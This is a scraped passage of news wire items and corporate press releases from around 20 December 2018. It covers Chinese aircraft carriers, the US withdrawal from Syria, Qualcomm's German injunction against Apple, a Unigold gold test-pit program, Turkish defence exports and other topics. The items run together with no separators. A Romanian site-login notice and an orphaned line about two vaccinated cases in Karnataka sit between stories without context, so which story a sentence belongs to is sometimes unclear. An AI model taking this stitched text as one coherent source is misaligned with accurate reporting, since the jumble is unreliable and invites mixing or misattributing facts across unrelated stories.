repurchased Shares are cancelled. Forward-Looking Statements This press release contains forward-looking statements within the meaning of applicable Canadian securities laws including statements in respect of the market price of the Shares, the number of Shares to be purchased under the NCIB and the benefit of the NCIB to existing shareholders and effect on share price, as well as other forward-looking statements. The words continue, expect, anticipate, estimate, may, will, should, views, intend, believe, plan, outlook and similar expressions are intended to identify forward-looking statements. Forward-looking statements are based on estimates and assumptions made by the Company in light of its experience and its perception of historical trends, current conditions and expected future developments, as well as other factors that the Company believes are appropriate in the circumstances, such as expected sales and industry production estimates, current foreign exchange rates (FX), timing of product launches and operational improvements during the period and current Board approved budgets. Many factors could cause the Companys actual results, performance or achievements to differ materially from those expressed or implied by the forward-looking statements, including, without limitation, the risk factors and other information, some of which are discussed in detail in the Companys Annual Information Form and other public filings which can found at www.sedar.com . Martinrea cautions that the list of risk factors and uncertainties is not exhaustive and other factors could also adversely affect its results. Readers are urged to consider the risks, uncertainties and assumptions carefully in evaluating the forward-looking information and are cautioned not to place undue reliance on such information. Furthermore, the forward-looking statements contained in this press release are made as at the date of this press release and Martinrea does not undertake any obligation to update publicly or to revise any of the included forward-looking statements, whether as a result of new information, future events or otherwise, except as may be required by applicable securities laws. The common shares of Martinrea trade on The Toronto Stock Exchange under the symbol MRE. For further information, please contact: State-owned shipbuilder CSIC is working against the clock to get its two aircraft carriers ready for military use, and in time for 70th anniversary celebrations marking the founding of the Peoples Republic of China in October next year, Trend reports referring to The South China Morning Post. At present, both warships are being worked on at China Shipbuilding Industry Corporations shipyard in Dalian, in northeastern Liaoning province. The Liaoning, the countrys first and only operational aircraft carrier, is undergoing a revamp its first major upgrade since it was commissioned in 2012. Meanwhile, Chinas first domestically developed aircraft carrier, the Type 001A, has yet to go into service but is expected to begin a fourth sea trial in the coming days. Photos circulating on the internet show two aircraft on its deck, along with arresting gear that is used to decelerate aircraft as they land, indicating the warship is being readied for another sea trial. The Type 001A design is based on that of the Liaoning, a Kuznetsov-class carrier that China bought from Ukraine in 1998 when it was half-built and spent a decade refitting. Hong Kong-based military expert Song Zhongping said the Type 001A could be handed over to the Chinese navy as early as August next year, to mark the 92nd anniversary of the establishment of the Peoples Liberation Army. The carrier is likely to be named the Shandong because Shandong province is right next to [CSICs] shipyard in Dalian, Liaoning, and both Liaoning and Shandong are coastal provinces, said Song, a former PLA officer who is now a military commentator with Phoenix Television. China named its first aircraft carrier the Liaoning because the vessel was refitted at the Dalian shipyard. Sources close to CSIC said the company was under great pressure to deliver the two warships on schedule, especially after Sun Bo was sacked as its general manager. The Central Commission for Discipline Inspection made that announcement on Monday, saying Sun had also been expelled from the Communist Party and was being investigated by the countrys judicial bodies. He had been in charge of Chinas aircraft carrier programme for more than a decade. The anti-corruption watchdog said Sun, 57, was found guilty of trading power for financial gain and accepting bribes, but sources said he was being investigated for allegedly passing state secrets to foreign intelligence agents. They said he could face the death penalty or a suspended death sentence if convicted. But a source close to the PLA Navy said he believed the Sun case would have limited impact on Chinas aircraft carrier programme because the allegations concerned confidential information about the Liaoning and the technology used for its latest warship, the Type 002, was more advanced. The Type 002, which is still being built, will be fitted with the worlds most advanced aircraft launch system an electromagnetic system known as EMALS that was used on the nuclear-powered USS Gerald Ford supercarrier. However, work has slowed on the third aircraft carrier, as tensions between China and the United States have escalated and amid budget pressure from Beijing, military sources told the South China Morning Post last month. Song said the Type 001A also had weapons and electronics systems that were more advanced than the Liaonings, though the first aircraft carriers combat capabilities were being upgraded. This means China will have two fully operational aircraft carriers when the Shandong is commissioned next year, Song said. Beijing-based naval expert Li Jie said the Liaoning revamp would also include a new and streamlined island command centre to provide more space on the flight deck for aircraft operations, and the installation of more advanced radar and electronics systems, and damage control equipment. Flights halted at Gatwick airport on Wednesday night after reports of drones being flown over the airfield, Trend reoprted citing The Guardian. Two drones were reportedly spotted hovering near a runway, prompting the airport to stop all flights while it investigated the sightings. Gatwick airport apologised for the suspension but said the safety of passengers was a priority. One traveller said on social media his plane had been diverted to Stansted while they waited for the airport to reopen. He added that passengers had been given the choice between a bus from Stansted to Gatwick, or flying back to Gatwick when the airport reopened. The international coalitions fighting against the Daesh terror group has made huge progress but the terror organization remains a threat and should be defeated, the UK Foreign Office said, commenting on the US announcement of the withdrawal of the forces from Syria, Trend reported citing Sputnik. "The Global Coalition against Daesh has made huge progress. Since military operations began, the Coalition and its partners in Syria and Iraq have recaptured the vast majority of Daesh territory and important advances have been made in recent days in the last area of eastern Syria which Daesh has occupied. But much remains to be done and we must not lose sight of the threat they pose. Even without territory, Daesh will remain a threat," the UK Foreign Office said in a statement. The statement noted that the United States had made clear that these developments in Syria would not result in the end of the operations of the US-led international coalition. "We will continue to work with members of the Coalition on achieving this. We remain committed to the Global Coalition and the campaign to deny Daesh territory and ensure its enduring defeat, working alongside our critical regional partners in Syria and beyond. As the situation on the ground develops, we will continue to discuss how we achieve these aims with our Coalition partners, including the US. This Government will continue to do what is necessary to protect the British people and our allies and partners," the statement pointed out. On Wednesday, the US Department of Defense confirmed the pullout of US forces from Syria. On the same day, US President Donald Trump said the Daesh had been defeated in Syria, adding that this was the only reason for the United States to be in the Middle Eastern country during his presidency. Croatia on Thursday raised the number of licenses for foreign workers in 2019 in an effort to make up for shortages of skilled domestic workers, notably in construction and tourism, Trend reports referring to Reuters. Our priority is to employ the local workforce but when it is not possible we will open the way for seeking workers from abroad, Labour Minister Marko Pavic told a cabinet session. The overall number of licenses for foreign workers from countries outside the European Union has been raised to 65,100 from the 38,769 that are valid for this year. Local employers have recently put pressure on the government to raise the quota, complaining that many businesses cannot find enough workers, mostly in the tourism, construction, retail, manufacturing and transport sectors. Croatias economy is growing at slightly below three percent annually and tourism accounts for almost 20 percent of output. However, many analysts warn that Croatia is not an overly attractive destination compared to more affluent European Union peers, given its proximity to Austria or Germany where many job-seekers from non-EU Balkan states seek work. An average monthly salary in Croatia in September amounted to 6,195 kuna ($958.13). The unemployment rate in October was 9.1 percent which analysts say is relatively high given the labor shortages. US chip manufacturer Qualcomm won a case against Apple on Thursday, leading to a potential ban on iPhone sales across Germany, Trend reports with the reference to Sputnik. A Munich court ruled in favour of the chipmaker, stating that it could impose immediately an injunction banning affected iPhones if Qualcomm paid a security deposit of roughly 668.4mn (603mn). "The ruling effectively outlaws the offering and placing on the market of the finished product in Germany, including the sale. The iPhones 7plus, 7, 8, 8plus and X are affected," the court said in a statement. The deposition would go towards paying for Apple's revenue losses should the tech giant get the ruling overturned following an appeal. Apple's loss comes days after it suffered defeat on 10 December following a Chinese court's decision to ban iPhone sales due to similar patent disputes. Both Californian tech companies have been gridlocked over patent disputes and royalties in courtrooms across the world, with German courts ruling on how processors from Apple's suppliers Intel and Qorvo function in comparison with Qualcomm's, the court stated. "Qualcomm's campaign is a desperate attempt to distract from the real issues between our companies," an Apple spokesperson said in a statement. "Their tactics, in the courts and in their everyday business, are harming innovation and harming consumers. Qualcomm insists on charging exorbitant fees based on work they didn't do and they are being investigated by governments all around the world for their behavior. We are of course disappointed by this verdict and we plan to appeal." The multinational said that during the appeal process, "iPhone 7 and iPhone 8 models will not be available at Apple's 15 retail stores in Germany", but will continue to sell iPhone XS, iPhone XS Max and iPhone XR models. Against the background of the U.S.-China trade war and concerns about Chinas industrial espionage, Israel is moving forward with plans to vet foreign investment for the first time, Trend reports referring to Haaretz. Legislation that would set out the structure and terms for a government committee with the power to approve or order changes in deals involving foreign investors is being examined by National Security Council chief Meir Ben-Shabbat. Sponsored by Zionist Union lawmaker Omer Bar-Lev, the bill is due to be deliberated in the Knesset Foreign Affairs and Defense Committee next week and then go to the ministerial legislative committee. The proposal isnt aimed just at restricting investments by Chinese bodies, Bar-Lev said. If a Russian company wants to buy a cybersecurity company of a major tech company like Check Software, it will need to be vetted. So will investments by front companies registered in Luxembourg, let alone a private company that may have Arab parties behind it. Prof. Avi Simhon, Prime Minister Benjamin Netanyahus economic adviser, told Knesset members last July that a plan to vet foreign investment was in the works and that matter was brought up in the security cabinet three weeks ago. Simhon has been working on the issue for two years. But, as Bar-Levs statement indicated, the bills backers have proceeded cautiously on the matter for fear of causing friction with China. Chinese companies are building ports in Ashdod and Haifa, and the Tel Aviv Light Railway. They have also become increasing important investors in Israeli high-tech companies. Netanyahu has been encouraging Chinese investment both to draw in more foreign investment and as a way of strengthening bilateral ties. Chinese companies have been turned back multiple times in their quest to buy the Israeli insurance companies Phoenix and Clal, but that was the initiative of the capital markets regulators, who expressed concern over Chinese control of hundreds of billions of shekels in Israeli pension savings. In the case of defense companies, the Defense Ministrys International Defense Cooperation Directorate can withdraw the export licenses of companies sold to foreign buyers. In any case, companies selling to the Israel Defense Forces sign secrecy agreements. Under the proposed legislation, foreign investments involving investing in, acquiring or merging with an Israeli company would be examined by a government committee. The businesses needing to seek approval would be involved in critical technology, connected with national infrastructure projects or companies with access to significant data on Israeli citizens. The latter would include companies in telecommunications, financial services and defense. The panel would have 30 days to examine a deal and an additional 15 days after that to publish its explanation for disallowing it. It could also give parties to a deal 60 days to amend it to meet the committees requirements for approval. The panel will include the finance, defense, public security and justice ministers, or their representatives, as well as the head of Israels National Cyber Authority. The finance minister will chair it. The idea that the committee will be headed by the finance minister or his representative and not a representative of the security establishment is critical, said Bar-Lev. An important part of the proposal is preserving a balance between supervising the market and freedom to conduct business. If Israel goes ahead with the plan it will be joining a worldwide trend. In August U.S. President Donald Trump signed the Foreign Investment Risk Review Modernization Act of 2018, which broadens the powers of the Committee on Foreign Investment. In November European Union institutions agreed to terms of a planned mechanism to screen foreign direct investment within the bloc. Prime Minister Benjamin Netanyahu says the IDF will intensify its activity in Syria to prevent Iranian entrenchment following the withdrawal of American forces from the country, Trend reports referring to The Times of Israel. Netanyahu is speaking at a joint summit with the leaders of Greece and Cyprus, a day after US President Donald Trump announced his decision to withdraw American troops from Syria. Netanyahu says Israel will continue to act very aggressively against Irans attempts to entrench in Syria, adding that it will do so with complete support and backing from the United States. Israel has clandestinely carried out hundreds of airstrikes in Syria over the course of the seven-year civil war to prevent Iranian entrenchment near the border and to keep strategic weaponry from reaching Hezbollah in Lebanon. Canada said on Wednesday it will exclude some imported steel and aluminum from its newest import tariffs and quotas following a request from the construction industry in British Columbia, which depends on imported metal, Trend reported citing Reuters. The government also said it would give additional relief to some companies that have contractual obligations. In Canada, automakers frequently buy U.S. steel under contract, import and distribute it to their Canadian suppliers as well as their own plants, but it was not immediately clear which companies would be affected. In November, British Columbia construction industry leaders asked the government to exempt rebar, steel bars used to reinforce concrete, from new steel quotas and tariffs announced in October. Canada also said on Wednesday it would give relief for steel product imports that were in transit before Oct. 25, as requested by the construction industry. In October, the government announced quotas and tariffs on seven categories of steel imported from most countries outside the United States. The measures were meant to reassure U.S. officials that cheap metal would not leak across the border if U.S. tariffs were lifted, and ensure that steel shut out of the U.S. market did not harm Canadian steel mills owned by Stelco Holdings, ArcelorMittal Dofasco and others. They followed Canadian tariffs on U.S. imports of steel and aluminum imposed on July 1, 2018, in retaliation for U.S. President Donald Trumps tariffs. The Soyuz-ST carrier rocket with the French CSO-1 optical-electronic reconnaissance satellite on board successfully blasted off from the Kourou space center in French Guiana, Trend reported citing Sputnik. The blastoff was initially scheduled for December 18, but was delayed due to weather conditions. "The launch was planned for December 18, 19:37 Moscow time [16:37 GMT]. Due to strong winds 10 kilometers [6.2 miles] above the ground, the launch was delayed by 24 hours. It is now planned for December 19, 19:37 Moscow time," a source in the space industry told Sputnik. The Airbus Defence and Space company is set to produce the CSO-1 and CSO-2 for the French military to replace the latter's Helios 2A and Helios 2B satellites, launched in 2004 and 2009, respectively. North Koreas commitment to the denuclearization of the Korean peninsula also includes completely eliminating the U.S. nuclear threat to Korea, North Korean state media said on Thursday, Trend reports referring to Reuters. U.S. President Donald Trump and North Korean leader Kim Jong Un issued a joint statement after their historic meeting in Singapore in June that reaffirmed the Norths commitment to work toward complete denuclearization of the Korean Peninsula and gave U.S. guarantees of security to North Korea. Conflicting or vague views of what exactly denuclearization means, however, have complicated negotiations that now appear stalled. Thursdays commentary, released by North Koreas state-run KCNA news agency, is one of the clearest explanations since the June summit of how Pyongyang sees denuclearization. When we refer to the Korean peninsula, the term encompasses the area of DPRK plus South Korean territory where U.S. nuclear weapons and other forms of aggression forces are deployed, the editorial said, using the initials of North Koreas official name, the Democratic Peoples Republic of Korea. When we refer to the denuclearization of the Korean Peninsula as well, it should be correctly understood as removing all nuclear threat factors from not only the North and the South but from all neighboring areas. North Korea rejects American calls for it to unilaterally denuclearize, and Washington should abandon the delusion of forcing Pyongyang to abandon its nuclear weapons via pressure and oppression, the article said. The United States has said that it will not lift sanctions on North Korea until more progress has been made toward the verifiable denuclearization of North Korea. Washington has also rejected any suggestion that it would reduce its military presence in the region as part of a deal with North Korea, but in a surprise move after the summit, Trump announced that the Pentagon would cancel most of its largest military exercises conducted with the South Koreans. The exact definition of denuclearization is likely to be raised again as Trump has said he is working to meet again with Kim sometime early next year. It is obvious that denuclearization of the Korean Peninsula is a joint business that cannot be achieved unless both Korea and the United States strive together, the KCNA commentary said. In this sense, the denuclearization of the Korean Peninsula should be defined as completely eliminating the U.S. nuclear threat to Korea before it can eliminate our nuclear deterrent. The United States deployed nuclear weapons in South Korea from 1958 to 1991. Since they were withdrawn, the United States has extended its nuclear umbrella of support to Japan and South Korea using bombers and submarines based elsewhere. At a press briefing in Washington on Tuesday, U.S. State Department spokesman Robert Palladino said he would not split words when asked about whether the promise of denuclearization of the Korean peninsula means only North Korea or the broader region. We are focused on the denuclearization of North Korea, Palladino said. We remain confident and we look forward to the commitments that Chairman Kim and that President Trump have made. TORONTO, Dec. 20, 2018 (GLOBE NEWSWIRE) -- Unigold Inc. (Unigold or the Company) (TSX-V:UGD) is pleased to announce the completion of a surface test pit program at its 100% owned Neita Concession in the Dominican Republic. The Company has completed thirty one (31) test pits evaluating the oxide resource potential at the Candelones Main and Candelones Connector deposits. Eleven (11) pits were designed to twin historical drill holes. The remaining twenty pits were located to evaluate the potential to increase the currently defined extent of the oxide mineralization (Ref. Figure 1.0). A total of 892 chip-channel samples were collected from the test pits. Analytical results are anticipated early in Q1, 2019. The samples will be assayed for gold using standard fire assay methods. Approximately 25% of the samples will also be assayed for gold using agitated cyanide leach analyses. Direct comparison of the cyanide leach analyses to the initial fire assay results will provide a preliminary indication as to the amenability of the oxide mineralization to direct cyanidation and allow follow up composite samples to be prepared for further, more advanced, metallurgical test work in Q1- 2019 if warranted. Joseph Del Campo, Interim President and CEO of Unigold commented, We are very pleased to resume active exploration at our Neita Concession. The oxide test pit program is a logical first step as we believe it will quantify the potential to increase both the grade and extent of the oxide resource. Our original plan was to complete 10-12 verification test pits, with the objective of quantifying any potential grade bias resulting from poor core recovery, prior to year end. A second test pit program, to probe the limits of the oxide resource, was planned for early 2019. The excavator progressed much faster than anticipated and as a result, we were able to complete both programs prior to year end. We expect analytical results early in Q1, 2019 which will provide us an opportunity to include additional exploration of the oxide resource areas in our 2019 Exploration Budget if warranted. Figure 1.0 Test Pit Locations - Candelones Main and Connector Deposits A photo accompanying this announcement is available at http://www.globenewswire.com/NewsRoom/AttachmentNg/ccdd9dc2-9759-41e6-9f12-7925646054d3 The current mineral resource estimates for the Candelones Project are summarized in Table 1.0. Table 1.0 Summary of Mineral Resource Estimates Candelones Project Date Classification Source Mineralization Deposit Tonnes Au Au ozs Cu Cu lbs Strip Type (x 1,000) (g/t) (x 1,000) (%) (x 1,000) Ratio 2013-11-12 INFERRED Open Pit OXIDE Main 2,448 0.92 72 1.3 (1,3,4,5) Connector 1,108 1.12 40 1.3 Extension - 0.00 - 0.0 Subtotal 3,556 0.98 112 1.3 INFERRED Open Pit SULPHIDE Main 5,003 1.16 186 1.3 Connector 980 1.08 34 1.3 Extension 24,223 1.59 1,241 7.6 Subtotal 30,206 1.50 1,461 6.4 INFERRED Underground SULPHIDE Main 704 2.21 50 0.0 Connector 50 2.49 4 0.0 Extension 4,977 2.42 387 0.0 Subtotal 5,731 2.39 441 0.0 INFERRED TOTAL 39,493 1.59 2,014 NA 2/24/2015 (2,3,4,6) INFERRED Underground Sulphide Extension 5,274 5.27 894 0.35 41,175 NA (1) - Mineral resources were estimated by Mr. W. Lewis, P.Geo. and Mr. A. San Martin, MAusIMM(CP) of Micon International Ltd. (Micon), a Toronto based consulting company, independent of Unigold. Both Mr. Lewis and Mr. San Martin meet the requirements of a qualified person as established by the Canadian Institute of Mining, Metallurgy and Petroleum (CIM) Definition Standards for Mineral Resources and Mineral Reserves (May 2014) (the CIM Standards). The 2014 estimate is based on a long term gold price of US$ 1,500 per ounce and economic cut-off grades 0.32 g/t Au (OXIDE), 0.56 g/t (SULPHIDE) and 1.25 g/t (UNDERGROUND SULPHIDE). Open pit resources are reported within an optimized pit shell; underground resources are reported beneath the defined optimized pit shell. Reference UGD PR# 2013-22. (2) - Mineral resources were estimated by Mr. W. Lewis, P.Geo. and Mr. A. San Martin, MAusIMM(CP) of Micon International Ltd. (Micon), a Toronto based consulting company, independent of Unigold. Both Mr. Lewis and Mr. San Martin meet the requirements of a qualified person as established by the Canadian Institute of Mining, Metallurgy and Petroleum (CIM) Definition Standards for Mineral Resources and Mineral Reserves (May 2014) (the CIM Standards). The 2014 estimate is based on a long term gold price of US$ 1,200 per ounce, a long term copper price of US$ 3.00 per pound and an economic cut-off grade of 3.50 g/t Au and assumed exploitation of the Candelones Extension deposit by means of underground mining. Reference UGD PR# 2015-02. (3) - The mineral resource estimates are classified as INFERRED. CIM Standards define a Mineral Resource as " a concentration of material in or on the Earth's crust in such form and quantity and of such grade or quality that it has reasonable prospects for economic extraction." The CIM Standards further define an INFERRED Mineral Resource as "that part of a Mineral Resource for which quantity and grade or quality can be estimated on the basis of geological evidence and limited sampling and reasonable assumed but not verified, geological and grade continuity." The CIM Standards state: "Due to the uncertainity that may be attached to Inferred Mineral Resources, it cannot be assumed that all or part of an Inferred Mineral Resource will be upgraded to an Indicated or Measured Mineral Resource as a result of continued exploration." (4) - Micon has not identified any legal, political, environmental or other risks that could materially affect the potential development of the mineral resource presented. (5) - The procedures, methodology and key assumptions supporting this mineral resource estimate are included in the Technical Report titled: "NI-43-101 Technical Report Mineral Resource Estimate for the Candelones Project, Neita Concession, Dominican Republic" with an Effective Date of November 4, 2013. The Technical Rport is available on SEDAR as well as the Company's website. (6) - The procedures, methodology and key assumptions supporting this mineral resource estimate are included in the Technical Report titled: "NI-43-101 Technical Report Mineral Resource Estimate for the Candelones Extension Deposit, Candelones Project, Neita Concession, Dominican Republic" with an Effective Date of February 24, 2015. The Technical Rport is available on SEDAR as well as the Company's website. Test Pit Program Description Test pits were completed by a CAT 320D Excavator with a 1.5 metre wide rock bucket and a maximum digging depth of 5.5 metres. Pit dimensions ranged from 1.5 to 1.8 metres wide by 3.0 to 4.5 metres in length. Pits were excavated to a target depth of 5.0 metres or to the top of bedrock. 20 pits reached the 5.0 metre target depth. All but one pit exceeded 3.0 metres in depth. All the pits were free digging. No explosives were used. Eleven pits were located twinning existing drill holes. Twenty pits were step out pits, designed to probe the lateral continuity of the oxide mineralization. In each pit excavated, all four pit walls were continuously channel sampled on 1.0 metre intervals from surface to the pit floor. Each channel sample was established in the approximate center of each pit face. The channel was precut using a portable diamond saw where necessary. In many instances, the pit wall was comprised entirely of soft sediment. In this instance, the diamond saw was not used and the sample was collected using the pick of a geology hammer. Where there was sufficient rock content (>60%), two parallel cuts, 10-15 cm apart and 2.5 to 3.0 cms deep, were established in the center of each pit face. The material between the cuts was then collected using either a geology hammer or a hammer and chisel. Prior to collection of each sample, a clean tarp was placed at the bottom of each channel. The material for each 1.0 metre sample interval was collected on the tarp and transferred to a five gallon bucket which was sealed with a lid and lifted out of the pit to surface for processing. Each bucket was passed through a inch riffle splitter. The undersize fraction (- inch) was collected in stainless steel bins. The oversize fraction (+ inch) was hand sorted equally into the two sample splits. Every effort was made to ensure that the oversize fraction was separated into both splits equally. At times, this required larger pieces of rock to be broken by hammer during the sample splitting process. One sample split was identified as the PRIMARY sample. The split was tagged, bagged and submitted for analyses. The PRIMARY samples will be assayed for gold using standard fire assay and agitated cyanide leach analyses. The reject sample split was then passed through the riffle splitter a second time. The undersize (- inch) and oversize (+ inch) fractions were tagged and bagged separately and submitted to fire assay analyses only to determine if gold is preferentially favours either size fraction or if the gold is equally distributed over both size fractions. QA/QC Certified standards and blanks were randomly inserted into the sample stream and constitute approximately 10% of the sample stream. Samples are shipped to a sample preparation facility in the Dominican Republic operated by Bureau Veritas. Assaying is performed at Bureau Veritas Commodities Canada Ltd.s laboratories in Vancouver and Richmond, B.C., Canada. All samples are analyzed for gold using a 50 gram lead collection fire assay fusion with an atomic adsorption finish. Select samples will be assayed for gold using a 30 gram agitated cyanide leach analyses with an atomic adsorption finish. Wes Hanson P.Geo., Chief Operating Officer and Technical Director of Unigold, who is a qualified person under the definitions established by National Instrument 43-101, has reviewed and approved the contents of this press release. About Unigold Inc. Discovering Gold in the Caribbean Unigold is a Canadian based mineral exploration company traded on the TSX Venture Exchange under the symbol UGD, focused primarily on exploring and developing its gold assets in the Dominican Republic. For further information please visit www.unigoldinc.com or contact: Mr. Joseph Del Campo, Interim President & CEO jdelcampo@unigoldinc.com 416.866.8157 Forward-looking Statements Certain statements contained in this document, including statements regarding events and financial trends that may affect our future operating results, financial position and cash flows, may constitute forward-looking statements within the meaning of the federal securities laws. These statements are based on our assumptions and estimates and are subject to risk and uncertainties. You can identify these forward-looking statements by the use of words like strategy, expects, plans, believes, will, estimates, intends, projects, goals, targets, and other words of similar meaning. You can also identify them by the fact that they do not relate strictly to historical or current facts. We wish to caution you that such statements contained are just predictions or opinions and that actual events or results may differ materially. The forward-looking statements contained in this document are made as of the date hereof and we assume no obligation to update the forward-looking statements, or to update the reasons why actual results could differ materially from those projected in the forward-looking statements. Where applicable, we claim the protection of the safe harbour for forward-looking statements provided by the (United States) Private Securities Litigation Reform Act of 1995. Neither TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release. National Defence Minister of Turkey, General Hulusi Akar met with Chief of Army Staff (COAS), General Qamar Javed Bajwa at Pakistan armys general headquarters (GHQ) in Rawalpindi on Dec. 20, the Dispatch News Desk (DND) news agency reported. During the meeting views were exchanged on issues of mutual interest including bilateral defence and security cooperation between Pakistan and Turkey and overall regional security situation. The visiting dignitary expressed Turkeys deep appreciation for Pakistans efforts and sacrifices in war against terrorism. Earlier on his arrival at GHQ, the Turkish Minister of National Defence laid floral wreath at Yadgar-e-Shuhada. Separately, Akar also met Minister of Defence Production Zubaida Jalal in Rawalpindi, and discussed issues of mutual interest and especially the avenues in defence cooperation. Zubaida Jalal appreciated the policies of Turkish President Recep Tayyip Erdogan on bringing about robust relations between Pakistan and Turkey. Russian President Vladimir Putin said on Thursday that the threat of nuclear war should not be underestimated, but that he hoped that common sense would prevail, Trend reports referring to Reuters. Speaking at his annual news conference, Putin said it was hard to predict what the consequences would be of a U.S. withdrawal from the landmark Intermediate-range Nuclear Forces Treaty, signed in 1987. Baku, Azerbaijan, Dec. 20 By Rufiz Hafizoglu - Trend: Turkey has developed a domestic guided missile Bora, Director General of Turkeys Undersecretariat for Defence Industries (SSM) Ismail Demir said, Trend reports via the country's media. Demir noted that Bora is able to destroy the target at a distance of 280 kilometers. Turkish President Recep Tayyip Erdogan has earlier said that Turkey will strengthen the defense industry and will become a world leader in the manufacture of defense products. Erdogan noted that no obstacles can stop the development of Turkey's defense industry. "I personally instruct all law enforcement bodies not to import defense products from abroad. Turkey is capable of providing itself with relevant products," Erdogan said. Erdogan noted that mass production of Turkish "ALTAY" tanks will soon begin. "Turkey is forced to strengthen its defense industry," he added. In January-November 2018, exports of the Turkish defense industry grew by 16.05 percent compared to the same period in 2017, reaching $1.782 billion. In the first 11 months of 2018, products of the Turkish defense industry worth $150.5 million were exported to Oman. During the reported period, products of the Turkish defense industry worth $72.3 million were exported to the Netherlands and $71.6 million to India. In the recent years, Turkey has invested about $35 billion in the defense industry. From 2011, Turkey produces mobile outposts that have proved useful in fight against the militants of the Kurdistan Workers' Party (PKK), and also the Canik TP9 handguns, unmanned ANKA aircraft and other military equipment to strengthen the domestic defense industry. Turkey is also developing a domestic military laser system. Earlier, the trials of the domestically-made long-range surface-to-surface missiles have been conducted in Turkey. The new rocket, named KAAN, was launched from a firing ground in the province of Sinop in the north of Turkey. --- Follow the author on Twitter: @rhafizoglu The U.S. decision to withdraw from Syria will allow Islamic State to regroup at a critical stage in the conflict, Washingtons Kurdish partners said on Thursday, after Western allies expressed alarm at the sudden move, Trend reports referring to Reuters. The U.S.-backed Syrian Democratic Forces (SDF) said President Donald Trumps withdrawal of all U.S. troops would also leave Syrians stuck between the claws of hostile parties fighting for territory in the seven-year-old war. Trumps announcement on Wednesday upended a central pillar of American policy in the Middle East and stunned U.S. lawmakers and allies, who challenged the presidents claim of victory. The U.S. president defended his decision on Thursday. In a series of tweets, Trump said he was fulfilling a promise from his 2016 presidential campaign to leave the Middle Eastern nation. The United States was doing the work of other countries, including Russia and Iran, with little in return and it was time for others to finally fight, he wrote. The SDF, supported by roughly 2,000 U.S. troops, are in the final stages of a campaign to recapture areas seized by Islamic State militants. But they face the threat of a military incursion by Turkey, which considers the Kurdish YPG fighters who spearhead the force to be a terrorist group, and possible advances by Syrian forces - backed by Russia and Iran - committed to restoring President Bashar al-Assads control over the whole country. After three years of fighting alongside U.S. forces, the SDF said the battle against Islamic State had reached a decisive phase that required more support, not a precipitate U.S. withdrawal. Western allies including France, Britain and Germany also described Trumps assertion of victory as premature. Officials said France will keep its troops in northern Syria for now because Islamic State militants have not been wiped out and pose a threat to French interests. For now, of course we are staying in Syria because the fight against Islamic State is essential, Europe Minister Nathalie Loiseau said. France has about 1,100 troops in Iraq and Syria providing logistics, training and heavy artillery support as well as fighter jets. In Syria it has dozens of special forces, military advisers and some foreign office personnel. A British junior defense minister said on Wednesday he strongly disagreed with Trump. (Islamic State) has morphed into other forms of extremism and the threat is very much alive, Tobias Ellwood said in a tweet. Dupa inscrierea pe site-ul HotNews.ro, poti deschide sectiunea MyHotNews ca sa completezi sau sa schimbi profilul de utilizator. Atentie! Logarea pe site se face cu adresa de email, nu cu nickname-ul. Adresa ta de email va ramane confidentiala si nu va fi niciodata data unor terte persoane sau institutii. Inainte de a te inscrie pe site te rugam sa parcurgi termenii si conditiile atasate unui cont HotNews.ro. The two cases were reported in the southern state of Karnataka, health officials informed. Both had received two doses of vaccine. VANCOUVER, British Columbia, Dec. 20, 2018 (GLOBE NEWSWIRE) -- Veritas Pharma Inc. (CSE: VRT; OTC: VRTHF; and Frankfurt: 2VP) (Veritas or the Company) is pleased to announce the appointment of Blair Lowther as the Corporate Secretary of the Company. Blair is a corporate lawyer with many years of experience working with public companies, particularly in the cannabis industry. Blair is excited to help ensure the continued integrity of the Companys governance framework, administration and regulatory compliance. Dr. Lui Franciosi, CEO of the Company, states, We welcome Mr. Lowthers many years of legal experience in his new role as Corporate Secretary. The Company would like to announce the resignation of David Alexander as CFO and Director, and the appointment of Peter McFadden, CPA, CA, TEP, MBA, HB.Comm, BSc as interim CFO. Peter began his career in London, Ontario as a Chartered Accountant with KPMG. He was a senior manager, specializing in mergers, acquisitions and tax. As well, Peter taught professional development for the CICA across Canada and Business and Accounting courses at the Okanagan University College. In 1995, Peter opened PMF Chartered Accountants. The Company would like to take this opportunity to thank Mr. Alexander for his contributions to the Company. The Company has approved the issuance of 300,000 stock options to Blair Lowther, Nick Standish and Mark Roseborough on December 12, 2018. Each of these options may be exercised for one common share of the Company at $0.12 per option for a period of one-year from the date of issuance. About Veritas Pharma Inc. Veritas Pharma Inc. is an emerging pharmaceutical and IP development company that, through its 100% owned subsidiary Cannevert Therapeutics Ltd. (CTL), is advancing the science behind medical cannabis. It is the Companys aim, through its investment in CTL, to develop the most effective cannabis strains (cultivars) specific to pain, nausea, epilepsy and PTSD, solving the critical need for clinical data to support medical marijuana claims. CTLs unique value proposition uses a low-cost research and development model to help drive shareholder value, and speed-to-market. Veritas investment in CTL is led by a strong management team, bringing together veteran academic pharmacologists, anesthetists & chemists. The companys commercial mission is to patent protect IP (cultivars & strains) and sell or license to cancer clinics, insurance industry and pharma, targeting multi-billion-dollar markets according to Deloittes Insights and Opportunities. Veritas Pharma Inc. is a publicly traded company in Canada, on the Canadian Stock Exchange under the ticker VRT; in the United States, on the OTC under the ticker VRTHF; and in Germany, on the Frankfurt exchange under the ticker 2VP. For more information, please visit our website: veritaspharmainc.com On behalf of the Board of Directors " Dr. Lui Franciosi" Dr. Lui Franciosi President and Chief Executive Officer Further information about the Company is available on our website at www.veritaspharmainc.com or under our profile on SEDAR at www.sedar.com and on the CSE website at www.thecse.com. Investor and Public Relations Contact Veritas Pharma Inc. Sam Eskandari Telephone: +1.416.918.6785 Email: ir@veritaspharmainc.com Website: www.veritaspharmainc.com The CSE has not reviewed, nor approved or disapproved the content of this press release. It's been a week since a Brinks truck's door accidentally opened on a NJ highway, tossing over half a million in cash all over the lanes and sending drivers into a cash-grabbin' frenzy, but the East Rutherford police are still trying to track down every single dollar. With fives, tens, and hundred dollar bills raining down on Route 3, a number of motorists got out of their cars to claim some of the bounty. (Two collisions resulted from the impromptu highway cash foraging.) The next day, authorities said that $293,500 had been recovered, either by the Brinks truck driver, helpful drivers, or those who heeded warnings that this money would be considered stolen. Chaos ensued after a Brinks truck spilled cash on a busy NJ highway. People jumped out of their cars to grab the flying money during the morning rush hour. pic.twitter.com/eaSSfwkmQi Yahoo Finance (@YahooFinance) December 13, 2018 Approx 8:30am ERPD received calls of an armored truck spilling cash along Rt 3 West, motorists exited vehicles attempting to remove cash causing multiple MV Crashes. Detectives are investigating. We ask any person with info or video of this incident, call ERPD 201-438-0165 East Rutherford Police 